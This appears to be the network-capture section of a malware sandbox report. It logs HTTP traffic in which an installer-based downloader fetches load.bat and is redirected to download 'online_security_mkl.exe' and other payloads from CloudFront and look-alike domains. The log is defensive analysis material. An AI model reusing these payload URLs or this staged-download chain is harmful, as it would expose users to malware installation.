Network Analysis

GET /load/load.php?c=2841&a=2841 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: d1vt2h4o64rfsv.cloudfront.net Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 20 May 2024 01:23:04 GMT X-Powered-By: PHP/5.5.38 Content-Description: File Transfer Content-Disposition: attachment; filename="load.bat" X-Cache: Miss from cloudfront Via: 1.1 bbb41c66a801c1d8f629911a7f9aa09e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN57-P3 X-Amz-Cf-Id: Uw4CFZI7Q_n3vKcv3fUtSBdQ_bygCHWk7AfpEwxBp_7S083XdvZk2w==

GET /load/th.php?a=2841&c=2841 HTTP/1.1 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 20 May 2024 01:23:07 GMT X-Powered-By: PHP/5.5.38 X-Cache: Miss from cloudfront Via: 1.1 caecfa62cb4f08b3bbb37ee6507732a8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: LSnaA7eXo9d4IUo-pv_F0KCFO_8afLR5Vd61lZwk9Q84xIUj_kSy5w==

GET /load/dl.php?id=458&c=2841 HTTP/1.1 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 20 May 2024 01:23:08 GMT X-Powered-By: PHP/5.5.38 Location: https://cdn-edge-node.com/online_security_mkl.exe X-Cache: Miss from cloudfront Via: 1.1 22c92c86c2aba40c7735177b2c63e046.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: HefZTOAqh8bSTkykQMw9Pi2lf9FNzB3YmvF0kKXEekt0rXoXv3P8Fg==

GET /online_security_mkl.exe HTTP/1.1 Host: cdn-edge-node.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Mon, 20 May 2024 01:23:09 GMT Content-Type: application/octet-stream Content-Length: 3711543 Connection: keep-alive Last-Modified: Fri, 26 Apr 2024 08:50:55 GMT ETag: "662b6aef-38a237" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1808 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RcCbYjAPxNk%2BttD%2F0IGLCXgxbQsR6B6NgSvu6ZgrvVuIA6nbBa%2BS24uqz12YdDbfaDqPUnh7mx64IaUd77OQ4Yaa0HYq%2BEXwQDxAbF5dtrhNy2Dd9dF%2FlBCArpa9hnNX4SgB%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8868850ebd3d14ec-LAX alt-svc: h3=":443"; ma=86400

GET /load/dl.php?id=444&c=2841 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: d22hce23hy1ej9.cloudfront.net Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: nginx/1.10.1 Date: Mon, 20 May 2024 01:23:12 GMT X-Powered-By: PHP/5.5.38 Location: http://240429000936002.mjt.kqri92.top/f/fvgbm0428902.txt X-Cache: Miss from cloudfront Via: 1.1 8a8bf856316bfb6dae60bd0162db1ab8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN54-C1 X-Amz-Cf-Id: If_A7aWzdqAXum3lS-9cB27aOmIQvJ4DaeZFqFpBvY7J6XbSod6ctg==

GET /f/fvgbm0428902.txt HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: 240429000936002.mjt.kqri92.top Connection: Keep-Alive

HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: Caddy Status: 404 Not Found X-Powered-By: PHP/7.3.25 Date: Mon, 20 May 2024 01:23:13 GMT Content-Length: 17

GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com

HTTP/1.1 200 OK X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Robots-Tag: noindex Referrer-Policy: same-origin Last-Modified: Fri, 13 Oct 2023 16:28:31 GMT ETag: "37d-6079b8c0929c0" Accept-Ranges: bytes Content-Length: 893 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Type: application/pkcs7-mime Cache-Control: max-age=3600 Expires: Mon, 20 May 2024 02:23:12 GMT Date: Mon, 20 May 2024 01:23:12 GMT Connection: keep-alive